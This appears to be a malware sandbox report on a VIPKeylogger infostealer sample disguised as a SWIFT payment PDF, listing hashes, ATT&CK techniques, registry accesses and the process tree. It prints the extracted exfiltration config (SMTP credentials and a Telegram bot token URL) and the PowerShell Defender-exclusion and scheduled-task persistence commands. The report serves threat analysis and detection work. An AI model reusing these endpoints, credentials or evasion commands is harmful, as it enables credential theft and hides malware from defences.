vipkeylogger | 1ca6f20fc9e3cab264385bcb75eef1413b39aa5e914ac7957d7c790dd9e16a07

Analysis

max time kernel
120s
max time network
144s
platform
windows10-2004_x64
resource
win10v2004-20250313-en
resource tags

arch:x64arch:x86image:win10v2004-20250313-enlocale:en-usos:windows10-2004-x64system
submitted
28/03/2025, 07:29

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General

Target

PAYMENT COPY SWIFT PDF tViyAmQ4Co0RNWZ.exe
Size

735KB
MD5

eb59c98b32af2d348644c71375c6063a
SHA1

2b021d33c15a917f69b5c399af7b6e18281411be
SHA256

0b96ba8c34e72cac461d5c1fc3c3682425310fccec745b7829045e6fee3dcd5b
SHA512

e3ff3a11aec9f5845dca77bdf89c59136fb65f98683979acc183f49eb1401d35c98fc862a5420ccffad6c40375475aa3bf04168b98ceb9e3a088a53bf6dc822e
SSDEEP

12288:8CQiKaxtUAJmESn3t6n29nHlRzCJYf/1dSiTkhbKKFR0nfFwpxQQpGkPHK3j:ZQiDh7ALTarFOfFwpHMj

Score

10^/10

vipkeylogger collection discovery execution keylogger spyware stealer

Malware Config

Extracted

Credentials

Protocol: smtp
Host:
us2.smtp.mailhostbox.com
Port:
587
Username:
[email protected]
Password:
USA12345

Extracted

Family

vipkeylogger

Credentials

Protocol: smtp
Host:
us2.smtp.mailhostbox.com
Port:
587
Username:
[email protected]
Password:
USA12345
Email To:
[email protected]

https://api.telegram.org/bot8106879360:AAHaYBYQGYSWJjihGiri4Qp-e1wgGh-cf5o/sendMessage?chat_id=7722316791

Signatures

VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
stealer keylogger vipkeylogger
Vipkeylogger family
vipkeylogger

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2220	powershell.exe
2624	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1279544337-3716153908-718418795-1000\Control Panel\International\Geo\Nation	PAYMENT COPY SWIFT PDF tViyAmQ4Co0RNWZ.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1279544337-3716153908-718418795-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	PAYMENT COPY SWIFT PDF tViyAmQ4Co0RNWZ.exe
Key opened	\REGISTRY\USER\S-1-5-21-1279544337-3716153908-718418795-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	PAYMENT COPY SWIFT PDF tViyAmQ4Co0RNWZ.exe
Key opened	\REGISTRY\USER\S-1-5-21-1279544337-3716153908-718418795-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	PAYMENT COPY SWIFT PDF tViyAmQ4Co0RNWZ.exe

Looks up external IP address via web service 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
33	checkip.dyndns.org
35	reallyfreegeoip.org
36	reallyfreegeoip.org

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2248 set thread context of 2008	2248	PAYMENT COPY SWIFT PDF tViyAmQ4Co0RNWZ.exe	104

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PAYMENT COPY SWIFT PDF tViyAmQ4Co0RNWZ.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PAYMENT COPY SWIFT PDF tViyAmQ4Co0RNWZ.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3692	schtasks.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
2220	powershell.exe
2220	powershell.exe
2624	powershell.exe
2624	powershell.exe
2220	powershell.exe
2008	PAYMENT COPY SWIFT PDF tViyAmQ4Co0RNWZ.exe
2008	PAYMENT COPY SWIFT PDF tViyAmQ4Co0RNWZ.exe
2624	powershell.exe
2008	PAYMENT COPY SWIFT PDF tViyAmQ4Co0RNWZ.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2624	powershell.exe
Token: SeDebugPrivilege	2220	powershell.exe
Token: SeDebugPrivilege	2008	PAYMENT COPY SWIFT PDF tViyAmQ4Co0RNWZ.exe

Suspicious use of WriteProcessMemory 17 IoCs

description	pid	Process	procid_target
PID 2248 wrote to memory of 2220	2248	PAYMENT COPY SWIFT PDF tViyAmQ4Co0RNWZ.exe	98
PID 2248 wrote to memory of 2220	2248	PAYMENT COPY SWIFT PDF tViyAmQ4Co0RNWZ.exe	98
PID 2248 wrote to memory of 2220	2248	PAYMENT COPY SWIFT PDF tViyAmQ4Co0RNWZ.exe	98
PID 2248 wrote to memory of 2624	2248	PAYMENT COPY SWIFT PDF tViyAmQ4Co0RNWZ.exe	100
PID 2248 wrote to memory of 2624	2248	PAYMENT COPY SWIFT PDF tViyAmQ4Co0RNWZ.exe	100
PID 2248 wrote to memory of 2624	2248	PAYMENT COPY SWIFT PDF tViyAmQ4Co0RNWZ.exe	100
PID 2248 wrote to memory of 3692	2248	PAYMENT COPY SWIFT PDF tViyAmQ4Co0RNWZ.exe	102
PID 2248 wrote to memory of 3692	2248	PAYMENT COPY SWIFT PDF tViyAmQ4Co0RNWZ.exe	102
PID 2248 wrote to memory of 3692	2248	PAYMENT COPY SWIFT PDF tViyAmQ4Co0RNWZ.exe	102
PID 2248 wrote to memory of 2008	2248	PAYMENT COPY SWIFT PDF tViyAmQ4Co0RNWZ.exe	104
PID 2248 wrote to memory of 2008	2248	PAYMENT COPY SWIFT PDF tViyAmQ4Co0RNWZ.exe	104
PID 2248 wrote to memory of 2008	2248	PAYMENT COPY SWIFT PDF tViyAmQ4Co0RNWZ.exe	104
PID 2248 wrote to memory of 2008	2248	PAYMENT COPY SWIFT PDF tViyAmQ4Co0RNWZ.exe	104
PID 2248 wrote to memory of 2008	2248	PAYMENT COPY SWIFT PDF tViyAmQ4Co0RNWZ.exe	104
PID 2248 wrote to memory of 2008	2248	PAYMENT COPY SWIFT PDF tViyAmQ4Co0RNWZ.exe	104
PID 2248 wrote to memory of 2008	2248	PAYMENT COPY SWIFT PDF tViyAmQ4Co0RNWZ.exe	104
PID 2248 wrote to memory of 2008	2248	PAYMENT COPY SWIFT PDF tViyAmQ4Co0RNWZ.exe	104

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1279544337-3716153908-718418795-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	PAYMENT COPY SWIFT PDF tViyAmQ4Co0RNWZ.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1279544337-3716153908-718418795-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	PAYMENT COPY SWIFT PDF tViyAmQ4Co0RNWZ.exe

C:\Users\Admin\AppData\Local\Temp\PAYMENT COPY SWIFT PDF tViyAmQ4Co0RNWZ.exe
"C:\Users\Admin\AppData\Local\Temp\PAYMENT COPY SWIFT PDF tViyAmQ4Co0RNWZ.exe"
1⤵
- Checks computer location settings
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2248
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\PAYMENT COPY SWIFT PDF tViyAmQ4Co0RNWZ.exe"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2220
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\YnsduL.exe"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2624
- C:\Windows\SysWOW64\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\YnsduL" /XML "C:\Users\Admin\AppData\Local\Temp\tmpD07F.tmp"
  2⤵
  - System Location Discovery: System Language Discovery
  - Scheduled Task/Job: Scheduled Task
  PID:3692
- C:\Users\Admin\AppData\Local\Temp\PAYMENT COPY SWIFT PDF tViyAmQ4Co0RNWZ.exe
  "C:\Users\Admin\AppData\Local\Temp\PAYMENT COPY SWIFT PDF tViyAmQ4Co0RNWZ.exe"
  2⤵
  - Accesses Microsoft Outlook profiles
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - outlook_office_path
  - outlook_win_path
  PID:2008

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Data from Local System

T1005

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
968cb9309758126772781b83adb8a28f

SHA1
8da30e71accf186b2ba11da1797cf67f8f78b47c

SHA256
92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a

SHA512
4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
18KB

MD5
f46604463910d8a648e5adea9f18be39

SHA1
669b759470c3c738f1886409271cb9d00e5e1c75

SHA256
94f71505b76278d1a37df172744ecee8fa4608668dc1214ade024a07fc5cd716

SHA512
1f856d599482246051ee30196b0a11b14d3662a1321c841b96c1c636a10146dd62e021271b72ff958438a64f8a9742405f3625a21e5340f987e50ff8e602e5b7

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wgwqhwa5.aqn.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmpD07F.tmp

Filesize
1KB

MD5
806b1630d748b0b3c49ba7836cba54ef

SHA1
251f1aeaae1815828227fd5e9902c78953c50a8a

SHA256
e1f204065d58e0053163da044fe5a4bd1a4c3766cb506ef0fbaed2f5a288f064

SHA512
6f41df0b7b2cb461452cd33588dee506a3840212fc55e038adb4392002f2cae6d420cb6dfd4ca83079bbbb379c7e4b6cade33b0c0753bcc8fbd0001507890683

Download Submit
memory/2008-44-0x0000000000400000-0x000000000044A000-memory.dmp

Filesize
296KB

Download
memory/2008-91-0x0000000007170000-0x000000000769C000-memory.dmp

Filesize
5.2MB

Download
memory/2008-90-0x0000000006810000-0x0000000006860000-memory.dmp

Filesize
320KB

Download
memory/2008-89-0x0000000006970000-0x0000000006B32000-memory.dmp

Filesize
1.8MB

Download
memory/2220-21-0x0000000004CE0000-0x0000000004D02000-memory.dmp

Filesize
136KB

Download
memory/2220-88-0x0000000074F20000-0x00000000756D0000-memory.dmp

Filesize
7.7MB

Download
memory/2220-51-0x00000000757B0000-0x00000000757FC000-memory.dmp

Filesize
304KB

Download
memory/2220-15-0x0000000074F20000-0x00000000756D0000-memory.dmp

Filesize
7.7MB

Download
memory/2220-17-0x0000000074F20000-0x00000000756D0000-memory.dmp

Filesize
7.7MB

Download
memory/2220-16-0x0000000000D30000-0x0000000000D66000-memory.dmp

Filesize
216KB

Download
memory/2220-18-0x0000000004D60000-0x0000000005388000-memory.dmp

Filesize
6.2MB

Download
memory/2220-48-0x0000000005AA0000-0x0000000005ABE000-memory.dmp

Filesize
120KB

Download
memory/2220-23-0x0000000005470000-0x00000000054D6000-memory.dmp

Filesize
408KB

Download
memory/2220-22-0x0000000005400000-0x0000000005466000-memory.dmp

Filesize
408KB

Download
memory/2220-62-0x0000000006CA0000-0x0000000006D43000-memory.dmp

Filesize
652KB

Download
memory/2220-61-0x0000000006060000-0x000000000607E000-memory.dmp

Filesize
120KB

Download
memory/2220-50-0x0000000006C60000-0x0000000006C92000-memory.dmp

Filesize
200KB

Download
memory/2220-49-0x0000000006000000-0x000000000604C000-memory.dmp

Filesize
304KB

Download
memory/2248-1-0x0000000000D40000-0x0000000000DFC000-memory.dmp

Filesize
752KB

Download
memory/2248-3-0x00000000057D0000-0x0000000005862000-memory.dmp

Filesize
584KB

Download
memory/2248-0-0x0000000074F2E000-0x0000000074F2F000-memory.dmp

Filesize
4KB

Download
memory/2248-5-0x0000000005B10000-0x0000000005BAC000-memory.dmp

Filesize
624KB

Download
memory/2248-47-0x0000000074F20000-0x00000000756D0000-memory.dmp

Filesize
7.7MB

Download
memory/2248-7-0x0000000005CB0000-0x0000000005CC8000-memory.dmp

Filesize
96KB

Download
memory/2248-8-0x0000000074F2E000-0x0000000074F2F000-memory.dmp

Filesize
4KB

Download
memory/2248-9-0x0000000074F20000-0x00000000756D0000-memory.dmp

Filesize
7.7MB

Download
memory/2248-2-0x0000000005CE0000-0x0000000006284000-memory.dmp

Filesize
5.6MB

Download
memory/2248-4-0x0000000005890000-0x000000000589A000-memory.dmp

Filesize
40KB

Download
memory/2248-10-0x0000000006C30000-0x0000000006CBE000-memory.dmp

Filesize
568KB

Download
memory/2248-6-0x0000000074F20000-0x00000000756D0000-memory.dmp

Filesize
7.7MB

Download
memory/2624-25-0x0000000005FA0000-0x00000000062F4000-memory.dmp

Filesize
3.3MB

Download
memory/2624-75-0x0000000007980000-0x000000000798A000-memory.dmp

Filesize
40KB

Download
memory/2624-76-0x0000000007B90000-0x0000000007C26000-memory.dmp

Filesize
600KB

Download
memory/2624-77-0x0000000007B10000-0x0000000007B21000-memory.dmp

Filesize
68KB

Download
memory/2624-78-0x0000000007B40000-0x0000000007B4E000-memory.dmp

Filesize
56KB

Download
memory/2624-79-0x0000000007B50000-0x0000000007B64000-memory.dmp

Filesize
80KB

Download
memory/2624-80-0x0000000007C50000-0x0000000007C6A000-memory.dmp

Filesize
104KB

Download
memory/2624-81-0x0000000007C30000-0x0000000007C38000-memory.dmp

Filesize
32KB

Download
memory/2624-84-0x0000000074F20000-0x00000000756D0000-memory.dmp

Filesize
7.7MB

Download
memory/2624-73-0x0000000007F60000-0x00000000085DA000-memory.dmp

Filesize
6.5MB

Download
memory/2624-74-0x0000000007910000-0x000000000792A000-memory.dmp

Filesize
104KB

Download
memory/2624-63-0x00000000757B0000-0x00000000757FC000-memory.dmp

Filesize
304KB

Download
memory/2624-24-0x0000000074F20000-0x00000000756D0000-memory.dmp

Filesize
7.7MB

Download
memory/2624-40-0x0000000074F20000-0x00000000756D0000-memory.dmp

Filesize
7.7MB

Download
memory/2624-19-0x0000000074F20000-0x00000000756D0000-memory.dmp

Filesize
7.7MB

Download